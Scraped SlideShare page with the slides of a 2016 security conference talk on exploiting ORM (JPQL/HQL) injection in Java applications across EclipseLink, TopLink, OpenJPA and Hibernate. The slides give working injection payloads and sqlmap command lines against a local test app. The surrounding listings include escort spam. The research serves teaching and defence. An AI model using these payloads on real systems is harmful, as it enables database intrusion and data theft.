Охота на угрозы на BIS summit 2016Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016
 
Configuring CQ Security
Configuring CQ SecurityConfiguring CQ Security
Configuring CQ Security
 
Cis critical security controls. контроль 3 безопасная конфигурация устройств
Cis critical security controls. контроль 3   безопасная конфигурация устройствCis critical security controls. контроль 3   безопасная конфигурация устройств
Cis critical security controls. контроль 3 безопасная конфигурация устройств
 
Compromise Indicator Magic
Compromise Indicator MagicCompromise Indicator Magic
Compromise Indicator Magic
 
Purifying React (with annotations)
Purifying React (with annotations)Purifying React (with annotations)
Purifying React (with annotations)
 
Opensource vs. Non-opensource
Opensource vs. Non-opensourceOpensource vs. Non-opensource
Opensource vs. Non-opensource
 
Developer Evidences (Infosecurity Russia 2013)
Developer Evidences (Infosecurity Russia 2013)Developer Evidences (Infosecurity Russia 2013)
Developer Evidences (Infosecurity Russia 2013)
 
Barabanov_Markov it-std
Barabanov_Markov it-stdBarabanov_Markov it-std
Barabanov_Markov it-std
 
Why not ORM
Why not ORMWhy not ORM
Why not ORM
 
Smartcard vulnerabilities in modern banking malware
Smartcard vulnerabilities in modern banking malwareSmartcard vulnerabilities in modern banking malware
Smartcard vulnerabilities in modern banking malware
 
How To Write a Letter of Explanation to the IRS. From Success Tax Relief.
How To Write a  Letter  of Explanation to the IRS. From Success Tax Relief.How To Write a  Letter  of Explanation to the IRS. From Success Tax Relief.
How To Write a Letter of Explanation to the IRS. From Success Tax Relief.
 
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)
Notice to Explain WITH PREVENTIVE SUSPENSION (Sample Form)
 
Volatile Memory: Behavioral Game Theory in Defensive Security
Volatile Memory: Behavioral Game Theory in Defensive SecurityVolatile Memory: Behavioral Game Theory in Defensive Security
Volatile Memory: Behavioral Game Theory in Defensive Security
 
SlideShare 101
SlideShare 101SlideShare 101
SlideShare 101
 

Similar to New methods for exploiting ORM injections in Java applications

Ruby on Rails Oracle adaptera izstrāde
Ruby on Rails Oracle adaptera izstrādeRuby on Rails Oracle adaptera izstrāde
Ruby on Rails Oracle adaptera izstrādeRaimonds Simanovskis
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Porting Applications From Oracle To PostgreSQL
Porting Applications From Oracle To PostgreSQLPorting Applications From Oracle To PostgreSQL
Porting Applications From Oracle To PostgreSQLPeter Eisentraut
 
Domain Specific Languages In Scala Duse3
Domain Specific Languages In Scala Duse3Domain Specific Languages In Scala Duse3
Domain Specific Languages In Scala Duse3Peter Maas
 
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DB
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DBWeb aplikāciju izstrāde ar Ruby on Rails un Oracle DB
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DBRaimonds Simanovskis
 
A brief introduction to PostgreSQL
A brief introduction to PostgreSQLA brief introduction to PostgreSQL
A brief introduction to PostgreSQLVu Hung Nguyen
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
NyaruDBにゃるものを使ってみた話 (+Realm比較)
NyaruDBにゃるものを使ってみた話 (+Realm比較)NyaruDBにゃるものを使ってみた話 (+Realm比較)
NyaruDBにゃるものを使ってみた話 (+Realm比較)Masaki Oshikawa
 
PostgreSQL Procedural Languages: Tips, Tricks and Gotchas
PostgreSQL Procedural Languages: Tips, Tricks and GotchasPostgreSQL Procedural Languages: Tips, Tricks and Gotchas
PostgreSQL Procedural Languages: Tips, Tricks and GotchasJim Mlodgenski
 
Sqladria 2009 SRC
Sqladria 2009 SRCSqladria 2009 SRC
Sqladria 2009 SRCtepsum
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 

Similar to New methods for exploiting ORM injections in Java applications (20)

Ruby on Rails Oracle adaptera izstrāde
Ruby on Rails Oracle adaptera izstrādeRuby on Rails Oracle adaptera izstrāde
Ruby on Rails Oracle adaptera izstrāde
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Oracle adapters for Ruby ORMs
Oracle adapters for Ruby ORMsOracle adapters for Ruby ORMs
Oracle adapters for Ruby ORMs
 
Porting Applications From Oracle To PostgreSQL
Porting Applications From Oracle To PostgreSQLPorting Applications From Oracle To PostgreSQL
Porting Applications From Oracle To PostgreSQL
 
plsql les06
 plsql les06 plsql les06
plsql les06
 
Domain Specific Languages In Scala Duse3
Domain Specific Languages In Scala Duse3Domain Specific Languages In Scala Duse3
Domain Specific Languages In Scala Duse3
 
Quebec pdo
Quebec pdoQuebec pdo
Quebec pdo
 
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DB
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DBWeb aplikāciju izstrāde ar Ruby on Rails un Oracle DB
Web aplikāciju izstrāde ar Ruby on Rails un Oracle DB
 
Oracle SQL Tuning
Oracle SQL TuningOracle SQL Tuning
Oracle SQL Tuning
 
Beyond java8
Beyond java8Beyond java8
Beyond java8
 
A brief introduction to PostgreSQL
A brief introduction to PostgreSQLA brief introduction to PostgreSQL
A brief introduction to PostgreSQL
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
NyaruDBにゃるものを使ってみた話 (+Realm比較)
NyaruDBにゃるものを使ってみた話 (+Realm比較)NyaruDBにゃるものを使ってみた話 (+Realm比較)
NyaruDBにゃるものを使ってみた話 (+Realm比較)
 
PostgreSQL Procedural Languages: Tips, Tricks and Gotchas
PostgreSQL Procedural Languages: Tips, Tricks and GotchasPostgreSQL Procedural Languages: Tips, Tricks and Gotchas
PostgreSQL Procedural Languages: Tips, Tricks and Gotchas
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
Sqladria 2009 SRC
Sqladria 2009 SRCSqladria 2009 SRC
Sqladria 2009 SRC
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Slickdemo
SlickdemoSlickdemo
Slickdemo
 

Recently uploaded

Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...OnePlan Solutions
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providermohitmore19
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfkalichargn70th171
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionSolGuruz
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...panagenda
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVshikhaohhpro
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceanilsa9823
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️Delhi Call girls
 
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️anilsa9823
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsJhone kinadey
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxComplianceQuest1
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Steffen Staab
 

Recently uploaded (20)

Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
Tech Tuesday-Harness the Power of Effective Resource Planning with OnePlan’s ...
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
Diamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with PrecisionDiamond Application Development Crafting Solutions with Precision
Diamond Application Development Crafting Solutions with Precision
 
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
W01_panagenda_Navigating-the-Future-with-The-Hitchhikers-Guide-to-Notes-and-D...
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTV
 
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female serviceCALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
CALL ON ➥8923113531 🔝Call Girls Badshah Nagar Lucknow best Female service
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online  ☂️
CALL ON ➥8923113531 🔝Call Girls Kakori Lucknow best sexual service Online ☂️
 
Right Money Management App For Your Financial Goals
Right Money Management App For Your Financial GoalsRight Money Management App For Your Financial Goals
Right Money Management App For Your Financial Goals
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docx
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
 
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS LiveVip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
Vip Call Girls Noida ➡️ Delhi ➡️ 9999965857 No Advance 24HRS Live
 

New methods for exploiting ORM injections in Java applications

  • 1. New Methods for Exploiting ORM Injections in Java Applications Mikhail Egorov Sergey Soldatov HITBSecConf2016 - Amsterdam
  • 2. MIKHAIL EGOROV ◊ Security researcher ◊ Bug hunter ◊ Application security engineer at Odin [ Ingram Micro ] ◊ @0ang3el ◊ 0ang3el.blogspot.com
  • 3. SERGEY SOLDATOV ◊ Security practitioner and enthusiast ◊ Head of SOC at Kaspersky lab ◊ @svsoldatov ◊ reply-to-all.blogspot.com (mostly in Russian  )
  • 4. AGENDA ◊ INTRO ◊ ORM Injections basics ◊ Exploitation techniques ∆ EclipseLink [ 1 method ] ∆ TopLink [ 1 method ] ∆ OpenJPA [ 2 methods ] ∆ Hibernate [ 5 methods ] ◊ OUTRO
  • 6. Why ORM? RDBMS [ Tables ] JavaApp [ Objects ]
  • 7. Why ORM? ◊ Some advantages over plain JDBC ∆ Work with objects rather than DB tables ∆ Simplifies development process ∆ No need to deal with the database implementation ∆ Hides details of SQL queries from application logic
  • 8. What is JPA? ◊ Java Persistence API – API for working with ORM ∆ JPA 1.0 [ May 2006 ] ∆ JPA 2.0 [ December 2009 ] ∆ JPA 2.1 [ April 2013 ] ◊ Most ORM libraries support JPA 2.0
  • 9. Diversity of ORM libraries ◊ Hibernate ORM [ WildFly and Jboss ] ◊ EclipseLink [ Glassfish ] ◊ TopLink [ Oracle WebLogic ] ◊ OpenJPA [ TomEE and IBM WAS ]
  • 10. Special query language for JPA ◊ Java Persistence Query Language [ JPQL ] for mapping between DB tables and Java objects ◊ Hibernate Query Language [ HQL ] is superset for JPQL
  • 11. Criteria API since JPA 2.0 ◊ Another way of expressing ORM queries ◊ Programmatic queries [ interfaces and classes exists to represent various structural parts of a query ] ◊ Criteria queries are checked at program compile time
  • 13. ORM injections nature ◊ They are also called JPQL or HQL injections ◊ The nature of ORM injections is similar to SQL injections
  • 14. ORM injection example ◊ Parameter name is vulnerable to ORM injection public List<Post> getByName_Insecure(String name) { Query query = em.createQuery("SELECT p FROM Post p WHERE" + "p.name='" + name + "'", Post.class); return (List<Post>) query.getResultList(); }
  • 15. SQL injection versus ORM injection RDBMSAppServer SQL DATAJavaApp
  • 16. SQL injection versus ORM injection RDBMSAppServer SQL DATA JavaApp JPQL/HQL POJO ORM
  • 17. Frustration from ORM injection exploitation ◊ Weird and limited language [ JPQL or HQL ] ◊ DB tables that are not mapped to entities are not accessible ◊ Favorite tools [ sqlmap ] are not working
  • 18. ORM injections in the wild ◊ [ not disclosed ] ◊ OpenBravo ERP HQLi [ 2015 ] ◊ Novell Service Desk HQLi [ CVE-2016-1595 ] http://www.securityfocus.com/archive/1/537268 https://www.novell.com/support/kb/doc.php?id=7017430
  • 19. ORM injections playground ◊ We wrote vulnerable JavaApp for studying ORM injections https://github.com/0ang3el/HQLi-playground
  • 20. HOW ORM actually works Parse JPQL/HQL query and build JPQL/HQL AST Translate JPQL/HQL AST into SQL AST Build SQL query from SQL AST
  • 23. EL ORM has FUNCTION (formerly FUNC) to call DB specific functions: ◊ JPQL Statement … FUNCTION(‘bla-bla-bla’, ’bla2’, ‘bla3’)… ◊ Translated into SQL’s …bla-bla-bla(’bla2’, ‘bla3’)… without any care about what specified in ‘bla-bla-bla’ FUNC FUNCTION method  https://bugs.eclipse.org/bugs/show_bug.cgi?id=300512
  • 24. ◊ JPQL Statement : … FUNCTION('(select count(1) from table where 1=1)>0 and length','qq')=2 … ◊ Translated into SQL: … (select count(1) from table where 1=1)>0 and length(‘qq’)=2 … FUNC FUNCTION method
  • 25. * - injection point for sqlmap FUNC FUNCTION method sqlmap -u "http://localhost:8080/hqli.playground/dummy%27% 20and%20function(%27(select%201%20where%201%3D1* )%3D1%20and%20length%27%2C%27qq%27)%3D2%20and%20 %27s%27%20%3D%20%27s" --dbms="PostgreSQL" --technique B -b ◊ Sqlmap exploitation #
  • 26. ◊ Exploitation Demo [ https://youtu.be/XIaqKM1iPt0 ] FUNC FUNCTION method
  • 28. The same story as with FUNCTION in EclipseLink: https://docs.oracle.com/middleware/1221/toplink/jpa-extensions-reference/jpql.htm#TLJPA626 SQL FUNCTION method
  • 29. ◊ JPQL Statement: … SQL('(select 1 where 1=1)=1’) … ◊ Translated into SQL: … (select 1 where 1=1)=1 … SQL FUNCTION method
  • 30. ◊ True SQL FUNCTION method dummy' and SQL('(SELECT 1)=1') and '1'='1
  • 31. ◊ False SQL FUNCTION method dummy' and SQL('(SELECT 1)=2') and '1'='1
  • 32. * - injection point for sqlmap SQL FUNCTION method sqlmap -u "http://localhost:8080/hqli.playground/dummy%27% 20and%20SQL(%27(select%201%20where%201%3D1*)%3D1 %27)%20and%20%27s%27%20%3D%20%27s" --dbms="PostgreSQL" --technique B -b ◊ Sqlmap exploitation #
  • 34. WRONG SINGLE QUOTE PROC. method ◊ OpenJPA process single quote (‘) in a strange way: ◊ Substitute sequence of two ‘’ by one ‘ ◊ AFTER its syntax check ◊ This behavior can hide SELECT-statements within string
  • 35. In … and '1'='1'' and (select 1 where 1=1) = ''1' and … ◊ ORM sees: and '1'='1'' and (select 1 where 1=1) = ''1' and ◊ DBMS gets: and '1'='1' and (select 1 where 1=1) = '1' and and '1'='1' and (select 1 where 1=2) = '1' and String with correctly quoted ‘ within it Bool SQL expression – TRUE Bool SQL expression – FALSE WRONG SINGLE QUOTE PROC. method
  • 36. * - injection point for sqlmap WRONG SINGLE QUOTE PROC. method sqlmap -u "http://localhost:8080/hqli.playground/dummy%27% 20and%20%20%271%27%3D%271%27%27%20and%20(select% 201%20where%201%3D1*)%20%3D%20%27%271%27%20and%2 0%271%27%3D%271" --dbms="PostgreSQL" --technique B -b ◊ Sqlmap exploitation #
  • 37. QUOTES INDIFFERENCE method ◊ OpenJPA allows interchangeable use of single quotes and double quotes: ◊ “bla bla bla’ – correct string definition ◊ This behavior can hide SELECT-statements within string
  • 38. In … and “a’ = ’a’ and (select 8 where 1=1)=8 and ‘b” = ‘b’ … ◊ ORM sees: and “a’ = ’a’ and (select 8 where 1=1)=8 and ‘b” = ‘b’ ◊ DBMS gets: and ‘a’ = ’a’ and (select 8 where 1=1)=8 and ‘b’ = ‘b’ and ‘a’ = ’a’ and (select 8 where 1=2)=8 and ‘b’ = ‘b’ String in “ quotes Bool SQL expression – TRUE Bool SQL expression – FALSE QUOTES INDIFFERENCE method
  • 39. * - injection point for sqlmap QUOTES INDIFFERENCE method sqlmap -u "http://localhost:8080/hqli.playground/dummy%27% 20and%20%22a%27%3D%27a%27%20and%20(select%208%20 where%201%3D1*)%3D8%20and%20%27bb%22%3D%27bb" --dbms="PostgreSQL" --technique B -b ◊ Sqlmap exploitation #
  • 41. ◊ Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH [ ’ ] ◊ In HQL SINGLE QUOTES is escaped in strings by doubling [ ‘’ ] SINGLE QUOTE ESCAPING method
  • 42. ◊ In HQL [ it is a string ] ◊ In MySQL [ it is a string and additional SQL expression ] SINGLE QUOTE ESCAPING method 'abc''or 1=(select 1)--' 'abc''or 1=(select 1)--'
  • 43. select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy'' or 1<length((select version())) -- ' ◊ Inject into vulnerable parameter ◊ HQL ◊ SQL SINGLE QUOTE ESCAPING method dummy'' or 1<length((select version())) -- SELECT p FROM pl.btbw.persistent.Post p where p.name='dummy'' or 1<length((select version())) -- '
  • 44. ◊ Sqlmap exploitation # SINGLE QUOTE ESCAPING method sqlmap -u "http://localhost:8080/hqli.playground/dummy%5C% 27%27%20or%201%3Clength%28%28select%20version%28 %29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0
  • 45. ◊ Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions [ $$aaa’bbb$$ ] ∆ PostgreSQL ∆ H2 $-QUOTED STRINGS method http://www.postgresql.org/docs/9.0/static/sql-syntax-lexical.html http://www.h2database.com/html/grammar.html#dollar_quoted_string
  • 46. ◊ Hibernate ORM allows identifiers starting with $$ $-QUOTED STRINGS method ID_START_LETTER : '_' | '$' | 'a'..'z' | 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers ; ID_LETTER : ID_START_LETTER | '0'..'9' ; https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g
  • 47. ◊ Inject into vulnerable parameter ◊ HQL ◊ SQL $-QUOTED STRINGS method $$='$$=concat(chr(61),chr(39)) and 1=1--' $$='$$=concat(chr(61),chr(39)) and 1=1--' $$='$$=concat(chr(61),chr(39)) and 1=1--'
  • 48. ◊ Sqlmap exploitation # $-QUOTED STRINGS method sqlmap -u "http://localhost:8080/hqli.playground/dum my%27%20and%20%24%24%3D%27%24%24%3Dconcat( chr(61)%2Cchr(39))%20and%201%3D1*--" --dbms="PostgreSQL" --technique B -b
  • 49. ◊ Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter ∆ PostgreSQL ∆ Oracle ◊ Hibernate allows to specify any function name in HQL expression MAGIC FUNCTIONS method
  • 50. ◊ PostgreSQL has built-in function query_to_xml(‘Arbitrary SQL’) ◊ It is possible to know if the SQL returns 0 rows or >0 MAGIC FUNCTIONS method array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
  • 51. ◊ Inject into vulnerable parameter ◊ HQL query ◊ SQL query v v MAGIC FUNCTIONS method SELECT p FROM hqli.persistent.Post p where p.name='dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true,false,'')),1)=1 and '1'='1' select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name='dummy' and array_upper(xpath('row', query_to_xml('select 1 where 1337>1', true, false, '')), 1)=1 and '1'='1' dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true,false,'')),1)=1 and '1'='1
  • 52. MAGIC FUNCTIONS method ◊ Sqlmap exploitation sqlmap -u "http://localhost:8080/hqli.playground/dummy%27%20and %20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27s elect%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%2 7%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0 https://www.youtube.com/watch?v=6WeUxAmYgHQ #
  • 53. NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' ◊ Oracle has built-in function DBMS_XMLGEN.getxml(‘SQL’) ◊ It is possible to know if the SQL returns 0 rows or >0 MAGIC FUNCTIONS method
  • 54. MAGIC FUNCTIONS method ◊ Sqlmap exploitation # sqlmap -u "http://localhost:8080/hqli.playground/dummy%27%20an d%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20f rom%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0
  • 55. ◊ Method works for DBMS which allow UNICODE delimiters [ Ex. U+00A0 ] between SQL tokens ∆ Microsoft SQL Server ∆ H2 UNICODE method
  • 56. ◊ In Microsoft SQL SERVER SELECT LEN([U+00A0](select[U+00A0](1)) works the same as SELECT LEN((SELECT(1))) UNICODE method
  • 57. ◊ List of UNICODE delimiters for Microsoft SQL Server UNICODE method U+00A0 %C2%A0 No-break space U+3000 %E3%80%80 Ideographic space ... etc ...
  • 58. ◊ HQL allows UNICODE symbols in identifiers [ function or parameter names ] UNICODE method https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/antlr/hql.g IDENT options { testLiterals=true; } : ID_START_LETTER ( ID_LETTER )* { setPossibleID(true); } ; protected ID_START_LETTER : '_' | '$' | 'a'..'z' | 'u0080'..'ufffe' // HHH-558 : Allow unicode chars in identifiers ; protected ID_LETTER : ID_START_LETTER | '0'..'9' ;
